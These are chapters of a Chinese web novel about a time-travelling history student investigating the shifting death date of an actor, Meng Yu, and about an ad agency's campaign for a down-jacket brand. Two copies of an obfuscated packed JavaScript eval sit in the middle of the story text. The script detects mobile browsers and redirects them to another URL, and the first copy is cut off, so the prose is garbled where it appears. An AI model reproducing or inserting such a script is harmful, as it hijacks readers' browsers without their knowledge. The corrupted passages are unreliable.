白天拥挤的车流变成零星几辆车缓慢驶过,远处高楼的窗子还亮着几格,像散落在夜幕上的小方块,有人还在加班,而有人刚刚回家。 门口的玻璃自动门一开一合,感应到人时会发出轻轻的气流声。 冷气和外面的夜风形成鲜明对比,空气里混着咖啡机的焦香和加热便当的味道。 天花板上的白炽灯照得很均匀,没有阴影。货架一排排整齐排列,从零食、饮料到日用品,颜色密密麻麻却并不杂乱。 地上贴着略微卷边的促销贴纸,写着第二件半价,边角被鞋底磨得有点发毛。 陈绍宁在这里坐了两小时,本来只是想坐一会,随便选定一个店,看看这个时代的生活,收银台后面的店员看起来有点困,但动作仍然熟练。 扫码声无数次滴滴地响起,他下意识说出那句已经说了无数遍的话:“欢迎下次光临。”声音平平,却带着一种不需要思考的温和。 门外街道偶尔有外卖电动车经过,车灯在地面拖出一道短短的光线,又很快消失在拐角。 远处红绿灯还在按节奏变换颜色,即使几乎没有车等候。 这些景色在她坐在这的两个小时里保持着一样频率的变化,而她坐在这里的原因,是因为突如其来想要搜索一下孟余的信息,但终端上提示的内容显示他在2026年就离世了。 陈绍宁不相信自己看到的东西,如此她在终端上确认信息持续了两小时,所有信息都显示孟余在2026年就离世了。 这不对啊。 她明明记得直到2036年还看到他演的很多电视剧,粉丝和观众还留言他总是能很好把那些顶天立地的角色演的淋漓尽致,人物的本性洒脱是都表现的很好。 怎么终端上到今天在查验就变成2026年就离世了? “不er,是我有病还是终端有病?这信息怎么还一点都不统一的呢?这是故意吗?还是有什么奇怪的信息疏漏?” 这一晚,陈绍宁都被这些信息烦闷的坐立不安,要不是第三次观察型历史课程是额外要求了要留存足够时间才能离开,她早就过去查个明白了。 “文科生这辈子有新闻理想,人类学执念和田野调查就被毁了,比墙上的性病小广告还难撕。哈哈哈哈,这个博主真有意思,把文科生看得这么透彻啊?” (1 陈绍宁扭头,身边坐着个刚热完三明治的女生,她拿着手机看着屏幕,一个名叫badandbitchy4ever的博主发的微博。 听完觉得被中伤的陈绍宁忍不住挑眉,谁能想到都2999年了,文科生都致力于用观察型历史课程直接穿越时间线实际田野调查呢! 就说文科永生! 但现在不是讨论文科生永生与否的问题,现在是终端上信息的错位让陈绍宁觉得很不安全。 为什么信息登载的内容会这样变化呢? 她的烦闷影响不到任何人,三明治啃一半的女生拿出平板电脑不知道敲敲打打在写什么,陈绍宁望着对方很认真的样子,倒是有点好奇,三番五次告诉自己不要窥探别人隐私。 但她还是没忍住看了一眼。 对方也是一份田野调查。 屏幕上正放着田野调查的定义和使用情况及方法步骤。(3 田野调查不是去调查田地里庄稼收成,而是人类学者亲自进入某一社区,通过直接观察,访谈,体验等方式获得一手资料。 就像陈绍宁所在星际联合大学内提供的观察型历史课程和深度历史课程都是学校里人文学科学生进行田野调查研究的方式之一。 当然这两个历史课程也是星际时代全部年纪人类都可以参与的。 “啊啊啊,烦死了,田野调查还要掏这么多钱,我都要穷炸了。” 女生脸上露出无奈的表情,最后大口的吃掉最后一口三明治,恶狠狠地把平板收起来起身走了。 陈绍宁没有看到对方的选题。 她的选题是论高校女生月经贫困。 这个年代吃得饱饿不死,本来就是基本条件。解决了吃饭问题,随之而来就是其他过去被放在不太重要范围内的事情逐一需要解决。 “所以现在田野调查都需要自己掏钱吗?” 陈绍宁换了个胳膊撑着脸颊发呆,“ 那还是我在的时代比较幸福。” “但是这不是我田野调查的重点!为什么孟余相关的新闻会变化呢?” “不对啊,我明明记得他在2036年还活跃在作品列表里,作品也有五六个,都是大制作,个人网站上作品名字一行行往后延伸,也算是缓慢却稳定的轨迹。搞什么?所有记录在2026年戛然而止。” 陈绍宁看着各种信息的她的第一反应是困惑。 已知的历史忽然被人从中间折断,她站在断口前,不知道该往哪里看。 她反复确认数据来源,理性地检查是否是资料错误,心里却已经开始发沉。 胸口被压住的闷一直持续在心里沸腾。 “why! why! why!” “谁能告诉我原因呢???” 16.第十六章 想要知道答案,也不是一时之间就能获得的。 陈绍宁从口袋里掏出写着曲柠名字的MRT,再三思考也想不到这个东西出现的原因是什么。 她到是觉得使用这个MRT也没什么关系。 规则正义,和结果正义完全是两种事情。 就像孟余出演“柳疏”一角的故事里,柳疏作为就是结果正义,几乎是乱世的世界里,百姓无粮可食,甚至到了食人的境地,柳疏提剑去朝堂上直接上言求开官仓放粮。 规则而言,并不正义。 结果而言,却是正义。(1 如此,陈绍宁在观察型历史课进行的时间内使用MRT必然是规则不合,但或许这就是一个能找到原因的机会。 关于为什么孟余的新闻突然从长红到2036年变成于2026年离世。 这其中离世原因如何? 如果这是真的,他离开之前发生的事情中牵扯的人是不是都是阻止他活着的原因。 她的调查选题是“Suicide 是一场多人谋杀。”,但选择观察对象并不只限于孟余,还包括与他相关的其他人。 选题是一个名词,当然也可以从哲学,人类学,各种方向去思考。 “人类总是要把事情弄得很复杂,真的是非常的不理解。但是现在看来,规则合理或者不合理,也都只是各自站的立场不同给的评价而已,似乎很重要,似乎又没有任何意义。” 陈绍宁把终端关闭,她现在没有什么特别的想法,只打算等找到合适的时机再使用MRT,但现在需要做什么呢? “ 孟余的新闻变的完全是两极对立,这也太难界定了,但目前也看不到什么特别的事情,他也没有做什么特别的事情啊。吃饭,睡觉,参加活动,唱歌,研究给粉丝做逆应援。” 陈绍宁整理着最近看到他做的事情,怎么看都觉得没有什么有问题的地方。 终端可以连接这个时代的网络,但搜索以后也没有发现什么特别的事情。 “ 难道是突然的事故?还是说现在一切还没成型?还做不了决定?” 没有答案,陈绍宁站在原地,很久没有动。 她有点犹豫要不要现在使用。 从曲柠的个人信息里调查一番? 陈绍宁手里拿着磁带,这东西握在手里。外壳比她想象中要轻,却异常真实。 但最后她也只是把磁带又装进了口袋里,让人看不懂她的决定,而后陈绍宁站起身,继续走在夜里的街道上。 城市依旧亮着,夜风吹过居民楼之间的空隙,带着一点潮湿的凉意。 便利店的灯没有熄灭,自动门在夜风中偶尔开启。 写字楼高处的几扇窗还亮着,像是尚未结束的白天,被强行留在夜里。 这种场景总是出现,偶尔是加班,偶尔是忘记关灯,很长的时间里都是这样反复。陈绍宁没有查太多内容,但很明显她发现了很多人都发现了这个状态的不妥, 她忽然想起自己看到的2036年的高赞话题上Suicide是一场多人谋杀。原因大家都知道,但是没有人会承认,都是糊里糊涂地就把日子走过去了。 陈绍宁看到过很多人对这个话题的理解,从学术上分析原因的人也不少,大多数人认为这是比较偏向结构,指向制度,指向社会环境的合力。 但真的当人身处其中的时候,就是在边上旁观都能感受到非常明显的实感,很多东西就失去了抽象思维。 每一个陈绍宁过去认为是凶手的,都牵扯着更多的东西,很多人都意识到这个,便不再试图寻找一个真正的凶手。这本来就不是一场由单一意志完成的行为。 没有谁举起刀,没有谁按下扳机。 可每一层推力,都是存在的。 “所以,孟余到底遇到了什么事情?让他突然在2026年就离开了。这不意味着未来十年原本属于他的作品和大爆角色都变成了别人的吗?” 她想起孟余杀青后的空窗期,还有那时候副导演突然联系他,话里话外透露着他在行业里被轻描淡写地说暂时不用他。 应该会难受吧,陈绍宁想是谁听到这样的话都会觉得难受吧,但他也只是把所有情绪收回自己体内。 这些事情看起来没有一个瞬间是致命的。 可所有瞬间叠加起来,就足够把一个人推到边缘。 制度告诉说这是市场规律。 舆论告诉说已经很幸运了。 经济告诉说不稳定是常态。 期待告诉说不该抱怨。 谁都不需要为结果负责。 陈绍宁慢慢走着,忽然意识到这些事情的残酷之处,就在于没有一个人需要承认自己动了手。 每一个参与其中的力量,都可以说我只是做了我该做的事。 而被推到悬崖边的人,却被要求为自己的坠落负责。 她停下脚步。 街角的咖啡店还亮着灯,店里坐着几个人,低头对着电脑或手机。 屏幕映在他们脸上,让他们看起来像是悬浮在夜色里的影子。 她忽然感到一种极其清晰的悲伤,那种慢慢沉下来的、无法回避的理解。 陈绍宁大概懂得这些人的痛苦不在能说明的理论里,只在身体里。 她的视线被一块旧海报吸引。 那是贴在公告栏角落的一张纸,边缘已经卷起。画面有些模糊,却还能辨认出是一张人物宣传照。 孟余。 他看起来还更年轻一些,眼神明亮却并不张扬。 海报上写着的信息看不太清,陈绍宁的注意力都被边上零散地贴着几张便签所吸引。 “他演得真的很好。” “现场看比屏幕里好看。” “希望他以后能多拍点戏。” 字迹不一,看起来是不同的人写的。 陈绍宁愣住了。 她站在那里,看着那几行字,忽然产生了一种极其强烈的违和感。 原来有这么多人喜欢他。 这种贴便利贴的行为总是无法被加入到计算的,但这里包含的情绪是基于原本心里就有一种安静的真实的,没有被放大过的喜欢。 她继续回想能查到的信息里,很多喜欢孟余的人都会分享自己总是持续打开又关上关于孟余的页面,还有各种社交账号上还会在收藏夹里保存那些零散的视频片段。 所有跟他有关的信息都不是新的,甚至上过热门的内容也没有多少,但只要有关注的话总是会被多次打开。 陈绍宁忽然意识到一件事,大家是真的很喜欢他。 喜欢他的表演,喜欢他的气质,喜欢他在镜头前那种不急不躁的存在感。 可他就是不火,没有爆款角色,没有持续的曝光,也没有被算法选中,反正这就是一种属于他的长期存在的状态。 截至目前她能在街道上看到很多巨型广告,但是她感到困惑的是孟余也有一些代言和广告,但却没有上过大屏。 不对,应该是说突如其来信息的变化可能导致他有关的新闻在可搜索范围内缺少了很多。 就好像孟余的人生,像是在这条链条上被悄无声息地切断了。 喜欢没有消失,这种情绪全都是在个人的心里。 “ 你可以让一下吗?我想拍一下这个照片。” 陈绍宁本来在看着孟余的任务宣传照感到一些想法和情绪,还没有完全理清楚自己的想法时,就有人喊她让让。 干嘛?让让? 看到她了? 陈绍宁一阵好奇,随后转身看去,一个女生拿着手机脸上笑嘻嘻的,单手指着陈绍宁身后的海报。 但她说的不是陈绍宁,而是另外一位站在海报边的短发女生,陈绍宁看着对方走开。 “我要拍他,所以可以让一下吗?” 陈绍宁随着短发女生往边上走去,然后看着女生拍了几张之后转身离开了。 所以他是被很多人喜欢的吧,陈绍宁这样想着。 不然怎么在他海报身边就遇见了粉丝。但很长时间里,他被很多人喜欢,却始终无法被推到光里。 这意味着什么? 陈绍宁去看ID是柠檬树上柠檬果的女生冉菲菲的时候,就听到她们公司有其他员工开会讨论自己公司签约的艺人。 说什么当一个艺人自己足够好没有意思,要自己足够有用才有意义,这种合适才是最重要的。 不然就不够适合被资本押注,不够适合被流量放大,不够适合被当成一个安全的选择。 如果是这样总是不够的状态,就没有必要在去进行任何形式的推进了。 这种状态在历史数据库里,几乎是不可见的。 这种情绪和多人本身的攻击就是错误的。 但因为数据库只记录结果,只有两种结果而已 红,或者不红。 成功,或者失败。 它不会记录那些被反复肯定却从未被兑现的可能性,就像很多人只在意规则正义,不在乎结果如何,也不在乎藐视和忽视结果带来的负面。 一堆人挤着一堆人这样去做,不知道哪个倒霉鬼就踩到大众的底线,被一刀割掉后还要职责大家只为什么只反对他。 真是难办,人很长的时间都不会从历史里学到东西。 陈绍宁站在夜色里,忽然明白了自己真正的困惑来源。 比起真的明白孟余为什么会痛苦,陈绍宁觉得去发现为什么这样的人会被留在系统的边缘或许更为重要。 如果连这种程度的善良努力,克制与才华,都无法被认可,那这个系统,究竟是在筛选什么? 夜风再次吹过。 城市依旧失眠。 可陈绍宁已经无法再把‘Suicide 是一场多人谋杀’当成一句冷静的历史总结。 她终于第一次在这个时代里真正理解了这句话的含义。 然后是更沉重的问题,如果真相是这样那她接下来,还能只当一个旁观者吗? “ 我就算知道了一切,我也什么都改变不了。历史不都是这样吗?过去蓝星旧时代纪元二十一世纪就一直在考古,结果不都是要考虑再三才能公布吗?真相?真想知道有的时候付出的代价真的不小。” 陈绍宁在终端上记录这几天所见的时候,突然忍不住挑眉笑起来,并觉得目前就算自己知道这些也毫无意义。 旧时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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因为深度型历史课程结束之后,会失去一切记忆的,只有终端上匹配的系统记录了一些完整的信息记录而已。 其实也是真假难辨…… 陈绍宁:【那你要申请很长时间吗?咱们可以一起申请,这样结束之后还能约着一起去开普勒星系去旅游,我听说那边开发了新的游戏项目,我还挺感兴趣的,你要去吗?】 林序:【你是说那个惊悚体验乐园?但是不是说现在还在建设中吗?在从时间维度里选拔不同的工作人员呢。等正式开业也得差不多四年之后了吧?】 陈绍宁:【我就是说咱们可以从选拔工作人员开始,这样还能在不同的副本里挂职不是?每个月会有额外的收入,毕业之前先兼职一段时间呗。】 林序:【对哦!那我安排一下时间,规划好了告诉你,我新一次的观察型历史课程开始了,我先溜了,回来后给你留言。】 林序不习惯在课程进行的时候发消息,每一次陈绍宁发过去的消息都是等林序回学校之后才回复的。 这也只是个人习惯不同罢了。 剩下的观察型历史课程还有差不多二十四小时,陈绍宁还在想自己是继续跟着孟余,还是去看看其他人。 再不然去看看齐舟周?好像她结束剧集商务植入之前,手里还有一个帮新出的羽绒服品牌找推广代言的项目,陈绍宁记得那份文件上有孟余的名字。 如果孟余跟品牌合作的话,刚好对于关于他的调查就会更为丰富一些。 陈绍宁站在哪,借着亮起来的路灯看着海报, 灯光不算亮,却足够照清每一张贴上去的海报。 她才发现附近是个剧场,还有个新的海报也是孟余的。 除此之外这里就还贴着别人的海报,还有墙面被层层叠叠的宣传单覆盖着,有音乐节的,有脱口秀专场的,有话剧试演,也有某个新锐导演的影展招募。 颜色浓烈,排版各异,像一块被不断更新的时间拼贴板。 孟余的海报贴在中间偏右的位置。 这会有时间仔细去看,是一个参加话剧演出的宣传海报。 不怎么现眼,背景是偏冷的蓝色调,他站在海报中央,侧脸微微转向镜头,眼神平静。 标题字体并不张扬,只是标注了剧名和演出时间。角落里还贴着一枚小小的二维码,方便扫码购票。 海报的边角已经被夜风掀起一点,透明胶带在灯光下反着光。 旁边是一张明星演唱会的巨幅大屏幕宣传,金色灯海铺满画面,粉丝口号醒目到几乎要溢出边框。 再往左,是别的演员拍摄某品牌新品发布会的广告,笑容明亮。 孟余的那张海报在喧闹里显得安静。 陈绍宁站在墙前,呼出的气在冷空气里化成淡淡的白雾。 夜色压下来,街灯拉长她的影子,她忽然意识到,自己已经在这里站了很久。 她伸手轻轻按了按那卷起的边角,把它贴回去,指尖触到纸张时有点凉,像真实存在的温度。 周围偶尔有人经过,匆匆瞥一眼海报,又低头看手机离开。 城市的夜风带着一点干冷,从长廊另一头灌过来,吹得海报边缘轻轻颤动。 她低头看了看终端,导航界面已经亮起。 齐舟周的定位点在屏幕上闪着微弱的光,像一个还未被完全理解的线索。 她最后看了一眼那张海报。 她突然有种奇怪的感觉如果不顺着线索往下走,这些纸张迟早会被新的海报覆盖,连曾经存在过的痕迹都找不到。 夜风更冷了一点。 陈绍宁转身沿着终端指引的方向走去。 17.第十七章 齐舟周今年二十六岁,就业三年,这三年写了不少品牌的Artist‘s Fans marketing Campaign的方案,甚至为了方便写案,减少和同公司员工无效的沟通,她自己也直接对接各大娱乐公司的经纪人寻求商务谈判,如此她一个人就是创意,策略,商务,甚至到最后还需要做执行。 按道理她不需要做这些,但齐舟周很讨厌和同公司的人合作,无效行为非常的多,而且毫无意义。 不过齐舟周是一个重视策略,策划和创意的人,商务对于她而言只是实现创意的手段。 但对于在广告公司工作的很多管理层而言,商务才是本命阀门,创意之类的大面过得去就好了。 齐舟周不喜欢把事情看的太透彻,太清晰地看明白一切事情,可能最大的可能就是失败。 “ 所以… 这一次项目你建议品牌选择… 嗯… 孟余?” 项目会议,领导看着齐舟周提上来的方案有些好奇,他继续问道,“ 洞察是什么呢?还是品牌的消费者画像和孟余粉丝画像完全重合吗?” 齐舟周把方案调整到brief recape页面,蓝白色的页面写了非常多的信息。 【 Objective 官宣代言:通过合作项目有效的将明星的粉丝转化为产品的粉丝。 品牌声量:提升疆域羽绒服新产品的知名度和疆域品牌的声量 销量转化:转化粉丝圈的消费者为品牌消费者,打破粉丝圈层触达泛娱乐?人群打造出圈爆款产品,实现消费者进店提升品牌销量转化。 Delivery Request 1) “孟余的冬季治愈时刻”KV及TVC拍摄,集中粉丝营销及外围扩散; 2)孟余线下活动专场策划; 3)冬季治愈时刻音符/小地瓜/ 桃内多圈层多角度种草视频。】 “所以我们就是通过艺人给予的权益,将其最大化的触达到粉丝,这其中肯定需要有考虑到粉丝及消费者的内容,想要粉丝消费就需要给代言人很好的宣传推广,想要消费者消费就需要用代言人权益展示一种态度或者生活情绪让他们产生共鸣。总之就是真诚真心才能真的让消费者自主购买的。” 齐舟周简单的总结自己的想法,而后给大家看后续的策略。 策略是营销方案的整体计划和方向,除了扩大购买圈层,就是依照消费者洞察来判断消费者购买疆域羽绒服的原因,倒也是说明白需要做什么内容。 创意就是在策略框架下产生的具体内容和表达形式,也就是怎么去做内容。 好比孟余的冬季治愈时刻就是创意,而找寻他去做什么事情就是策略。 “那讲讲你的策略吧。” 领导坐在主位,单手反看着电脑上的ppt,疆域品牌的市场定位,TA(核心消费者),传达出的一件羽绒服保暖一冬季的核心信息,还有预估的营销目标。 齐舟周的策略没有什么问题,基本上TA的把握和代言人粉丝群体是有着不小的重合。 “一件羽绒服保暖一冬季是物理意义的保暖,而孟余不止粉丝画像十分匹配,最重要的是他经常做公益活动,而且还在行业内有着不错的口碑,粉丝对他的评价是性格很好又温柔的人,这就说明情绪和感官上,他参加活动和拍摄能传达出一种情感上感受的温暖。” 领导翻到最新的一页,上面写着内容看起来也还可以。 【 Campaign Idea: 一件有效保暖防寒 瞬间获得治愈时刻 疆域冬季防寒羽绒服,用专业,时尚,贴心的制作 工艺完成时髦女孩的冬季防寒保暖以后时尚,让每一时刻都在时尚氛围感里享受生活。】 “创意是情感的触动,所以广告的主题、视觉设计、文案、故事情节等,我都打算走治愈的路线,这种情绪用蓝白意向去做一种温暖的水一样的包裹感,还有一些吸引目标受众的注意力的活动,后面几页再跟您汇报一下。” 陈绍宁坐在边上看着方案,她没想到在纪元二十一世纪的时候,这些营销方案都是伴随着每一个产品出现的。 这个活动最后实现了吗?陈绍宁在终端上搜索孟余和疆域羽绒服作为某一类营销活动现象的代表词条在搜索栏里搜索来看,像是打开了这次活动的档案。 孟余。 系统界面展开,层级极其清晰,在他参加的活动和作品之前还有很多其他的信息,比如出生年份、 受教育背景、职业路径、作品列表、公开采访、非公开工作记录、行业评价摘要、舆论节点标注……所有能被记录的内容,都被整理得井井有条。 而这个活动也在上面记录着,评价不错的,很多粉丝和其他消费者都很喜欢这次活动。 活动完整的记录下来非常重要的信息,最有趣的活动就是疆域羽绒服和咖啡品牌做异业合作,治愈和温暖的不止来源于羽绒服,还来自于热乎乎的拿铁。 这场开在商场里的活动中,他穿着品牌羽绒服参加活动之外,还给现场的粉丝制作咖啡,甚至他还自掏腰包给几个粉丝买了羽绒服。 陈绍宁看完相关的记录,信息足够完整,看起来真相就不会偏移。这也是星际历史课最让大家引以为傲的部分。 但是很奇怪,这会在查关于孟余的信息,又延长到了2036年,早前查询中消失的十年又回来了。 这意味着他没有在2026年离开,而是活到了2036年。 “终端有问题还是我有问题?这因为什么?总不能是MRT?还是说… 什么时间里谁拿到了磁带而完整的使用了?这其中到底是哪一部分产生的影响?” 陈绍宁整个人都麻了,她单手速度地翻看着自己的终端,信息重新加载之后显示的内容很明显,他中间那十年又回来了。 等于孟余在2026年死亡和2036年死亡之间来回往返。 “肯定是有什么事情出现,总不能是因为我使用了MRT?但我使用的时候也没有代替齐舟周做任何不合适的事情,所以这跟我有什么关系呢?” 陈绍宁心里想,这样结果的出现的只意味一个事情,那就是有人使用了非常多的时空磁带,但是如果要定位孟余的一生,势必有一部分磁带需要是他本人录制的。 ……… “ 大家好,我是孟余,其实我想做这个活动很久了,我是一个比较念旧的人,所以我想要读一些想要跟你们分享的事情,所以录制了磁带。我还在犹豫是给大家读诗还是一些有意义的散文或者小说,最后我想了很久,感觉给大家读诗是非常有趣的。” 孟余对着面前的录音器一口气说了很多事情,录音机跟着时间的流速变化而逐渐把他的声音收起来,未来不知道什么时候又会这样把时间和声音一起传递出去。 他自己企划的活动,这样不需要花很多钱,他录制磁带给自己的粉丝,录制的内容也都很简单。但他完全没有在意录制好的磁带里有一个上面写着一串英文字母,很快又消失了。 孟余不太会选诗,他就会问问曲柠的建议,曲柠更喜欢浪漫主义的诗歌,给他分享的都是西方的诗歌。 选来选去,孟余选了波德莱尔的诗集《恶之花》里面的几首,他觉得这个诗歌里面的很多内容都让他能感受到一种不需要言语的情感和力量。 他把自己选的内容发给了曲柠,很快对面回了消息。 曲柠:【这个诗集我觉得很好啊!但是你录制这些磁带会在什么时候给粉丝呢?如果是录制玩偶呢?你以前好像录制过一些玩偶吗?】 曲柠:【但是这个会被你经纪人说吗?我感觉他很凶哦!每次都说一些没有用的东西。】 曲柠:【但是我很支持你!你这个活动很好,我要是粉丝我也会超级支持你!当然,朋友也会支持你的!!!】 孟余抱着福瑞在想选择什么诗歌的时候,本来窝在他怀里的福瑞大王实在是无聊就跳了出来,脚垫子哒哒哒地不知道要去哪。 男明星没有管福瑞大王去哪了,他还在认真的选自己想要给粉丝读的诗,虽然他也不知道自己会不会把这些磁带给粉丝发出去?还是会最后录制成博客找一个可以合作的平台当作送给粉丝的礼物? 反正孟余打算先准备着。 他打开手机看到曲柠后面发的几条信息。 曲柠:【话说,你过年回家吗?今年有写新歌吗?说好了每年一起录一首歌的!你去年就没回来!】 孟余其实也喜欢唱歌,不过这只是他的业余爱好,倒是曲柠每年都会写歌,拉着他一起录制。这算是两人的爱好了。 画画和唱歌就是两人的习惯。 偶尔孟余还会给曲柠拍视频和录制的歌曲剪辑在一起,这样想想也是个全能的专业人士了。孟余突然想如果能回到过去或许去试试参加唱歌比赛也挺好。 但人总是回不到过去的,孟余觉得自己也无需在想这些内容。 孟余:【我录制了你推荐的那几首诗歌,超级喜欢。】 孟余:【我也不知道做什么活动送给粉丝,等我想一想。】 孟余:【你喜欢我也很喜欢。】 孟余:【我在想一个事情,前几天去拍摄一个项目,经纪人和平台的人打招呼不让品牌的人跟我说话,但是我还是去告诉了对方写的内容很好。经纪人担心我跟对方说话之后两人加了联系方式去问中间差了多少钱。但我感觉对方根本不在意钱的问题,对方更在意自己的内容有没有被认真拍摄出来。有的时候,我感觉我和经纪人的想法也都对不上…】 曲柠的信息很快会过来。 曲柠:【我理解你说的,经纪人可能走的合同跟你知道的价格不一致也有可能。但是就算你知道了,估计你也不会说什么。反正你拿到的报酬每次都是一半给阿姨,剩下一半里拿出来一半捐出去,给朋友买东西最后自己留的也不多。】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217246|196424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 曲柠:【你都给我买了好多画画的东西了,我打算要多给你花几张图,到时候都发到你的超话里,这样粉丝们也会很喜欢。】 曲柠: 【哈哈哈,我也是超话签到很多级的专业人士了!】 孟余知道曲柠有关注自己的超话,他自己也是一个互联网冲锋能手,有的时候还会发起很多活动,自己也会参加很多有趣的活动,反正他会自封为互联网能手,就是不知道别人是不是认可他这个互联网小达人了。 孟余说的事情,曲柠没有再跟他继续聊起来,一个是行业里的事情她不是很了解,但有些事情殊途同归的,她觉得自己也没办法去判断。 毕竟她自己也经常遇到类似的事情,所以她也懒得评价这些。 不过拍摄的东西已经发在网络上,曲柠有搜索到相关的视频,她倒是觉得拍摄的挺好的。至少她个人是非常喜欢,评论区里刚好有个人跟她想法一样,曲柠直接就是点赞留言,然后点进账号看了看对方发的内容。 ……… 【你好,我看你也很喜欢孟余最近活动的内容,我也很喜欢的,我想问你是做品牌的吗?我看你的微博里好多跟品牌有关的…】 齐舟周开完会,打开微博就看到别人的私信,只是她也没有回复对方,只是看了看对方平常发的内容,大概就都是画的漫画什么的。 “漫画… 漫画… 要是给品牌做一次IP设计呢?我记得什么时候开会听品牌的负责人提过,但好像没有特别说。” 齐舟周自言自语的,也不知道她是不是真的觉得去推荐这个,毕竟推荐的东西如果不合适最后还会落得一个不专业的评价。 齐舟周没有再回复对方,而是好好思考起来突如其来的想法,她拿着咖啡坐在桌边一直在发呆,眼神一直看着屏幕上关于曲柠的信息,陈绍宁站在边上看齐舟周发呆五六分钟都没有什么动静,心里全是不解。 “这发呆好久了,到底是选曲柠合作还是不合作呢?说你不合作吧,你发呆了好久。说你合作吧,又不跟人提。” 这种合作,就是选择一个合作的漫画家为品牌设计一个符合品牌形象的漫画IP形象,但这种合作的费用需要品牌内部承担,这种用于营销的费用一般是每年固定审批总金额,但具体用于什么节点上就不一定了。 宠物产品有宠物季,户外拍摄设备品牌有滑雪季,除此外还有众多品类一起入场的CNY,双十一,618等等消费大促节点。 这年都过了一半,估计是拿不到更多的费用了。 “费用不一定审批下来,内容绘制什么也不好让漫画家提前给,自作主张谈合作还是没有落定被品牌完全反对的话,反而会把事情变得糟糕。 没有合作邮件或者聊天记录而提前已品牌的名义寻求合作的话,合作成功了就是专业度很好,能想品牌之所想。 反之,就会有一些不曾想到的不可控事情出现… 话是这样说,但陈绍宁还是看着齐舟周建立个新的文档把自己看好的漫画家信息都收集起来放在一起,存起来的时候就备注是待合作方。 “有机会再合作。” “哦,所以还是会继续合作吗?” 陈绍宁靠在桌子边说话的时候,刚好碰上和齐舟周的声音重合在一起,电脑桌面还有一个羽绒服品牌的新品推荐的Product Launch Campaign,齐舟周没有打开,但是陈绍宁看过这个文件。 按照她知道的信息,这就是个新产品的发布活动,其中最重要的就是新品发布会,齐舟周给品牌策划是在商场里进行的,同样可以进行活动现场扫描预约购买。 活动还没有开始,还有一个月的准备时间,齐舟周还在搜集着很多新的场地,考虑利润的因素太贵的地方肯定是不能租的,搭建和拆除的时间都需要及时考虑进去,因此她还在计算着活动会实际使用的费用。 齐舟周顺手打开了一个表,就是活动内可能涉及的人力,场地,还有各种租车和艺人合作等费用,其中陈绍宁注意到电脑中表格写着密密麻麻的信息。 什么项目编号,客户名称,项目名称,服务周期,业务开发及业务类型,需要付款的供应商类型,反正密密麻麻很多,但项目费比率比想象中低,利润比想象中高。 品牌总是觉得自己给了多少钱就要拿到多少钱的东西,但从没想到人总是趋利的,去除掉必要的人工和实际支出,利润率总是要被留下的。 很多事情都像是剥洋葱一样,一个项目被层层转手,拿到的结果谁知道是好还是不好。 “所以… 这个各大品牌到最后都选择AIGC去做内容?但如果还是外包给别人去做的话,这利润不还是留给别人了吗?” 没有在这个行业工作过的陈绍宁有点看不懂,单手挠挠头,有点没理解终端一定引导她到这里的理由是什么… 但看起来… 陈绍宁有点好奇这个活动里,齐舟周设计的活动初始版本是如何的… 18.第十八章 羽绒服项目在过程中怎么安排不知道。 陈绍宁现在只是能查到最后落地的活动,她不知道自己的终端为什么突然在查询关于孟余的事情上经常会出现不一样的答案。 偶尔显示孟余2026年就离世,偶尔又显示他直到2036年才离世。 很奇怪。 关于孟余的事情,有人说他是一十几载宁过奈何桥,不踏腐朽康庄大道。(1 这好像是关于孟余评价中的几句,陈绍宁还看不到更多的事情,就目前看她的观察型历史课程中,时间似乎选择的不是很合适一样。 关于孟余的事情很复杂,就好像有十年的时间是一段时间存在一段时间消失的,陈绍宁不敢把这个事情提交到教授那里咨询,也不敢问林序。 毕竟虽然人人都会偷偷用MRT或者其他磁带。 但没人会大张旗鼓问这些问题来佐证自己真的用了磁带导致出现了偏差而影响到这些。 就像欲望之海总是填不满的,但谁都不肯承认自己还在这种海里沉沦。 原本想着跟着终端指引过来,在齐舟周这里找点线索,但这一次的历史时空课程结束得比陈绍宁想象中要快。 系统只是在她的视野边缘弹出一行提示,语气冷静而礼貌:【本阶段观察权限已到期。感谢使用历史时空课程。】 世界在那一刻重新变得清晰。 旧时代的噪音,街道的湿冷空气,那种历史观察课上特有的始终贴在皮肤上的紧绷感都不复存在。 陈绍宁重新站在星际联合大学的宿舍里,地面洁净,灯光柔和,空气被调节到最适宜的温度。 一切都很正常。 正常到让人产生错觉。 她站在原地,没有立刻移动。 屋外的走廊里,上下课的学生来来往往,有人低声讨论课程安排,有人调出个人终端查看作业进度。 所有人的表情都很平稳,没有焦虑和疲惫。 这是三十世纪。 一个已经被无数次论证为更合理,更高效的时代。 可陈绍宁却感到一种强烈的不适,准确的说,是一种认知层面的失衡。 她已经无法再像之前那样,把那些画面当作历史片段来看待了。 其实很多事情都是很小的,甚至在其本人一生中都占据不了多大的记忆,但是同样的事情总是不停的重复,并长达十多年的话,那就是预定的消失人生。 陈绍宁可以确定孟余身上肯定有什么事情,这种猜想并没有随着课程结束而消散。 恰恰相反,它们开始在她脑子里反复出现。 她离开宿舍去教学楼,到了地方才慢慢往前走,走廊尽头是历史系的公共阅览区。 透明的墙面后,一整排开放式终端,供学生调阅资料或提交深度历史课程的申请。 她在一台空闲终端前坐下。 界面亮起。 系统识别了她的身份,自动跳转到她最近使用的课程记录。 【观察型历史时空课程已完成三次,本年度剩余申请机会三次。】 【可申请进阶课程:深度历史时空课程,本年度剩余申请机会两次】 那一行字,安静地躺在屏幕中央。 她之前当然见过,关于每一年的申请时间都是固定的,但她从未认真看过深度历史课程的申请次数。 因为在她原本的认知里,观察型历史课程已经足够。 历史不该被打扰。 理解不等于介入。 这是已经进入共产主义很久的星际社会中大家明白的原则。 可现在她忽然意识到一个问题,理解本身也有容量上限。 她已经看得够多了。 多到仅仅作为一个鬼,已经无法承载她的疑问。 她闭上眼睛,脑海里浮现就是一条清晰却令人不安的逻辑链。 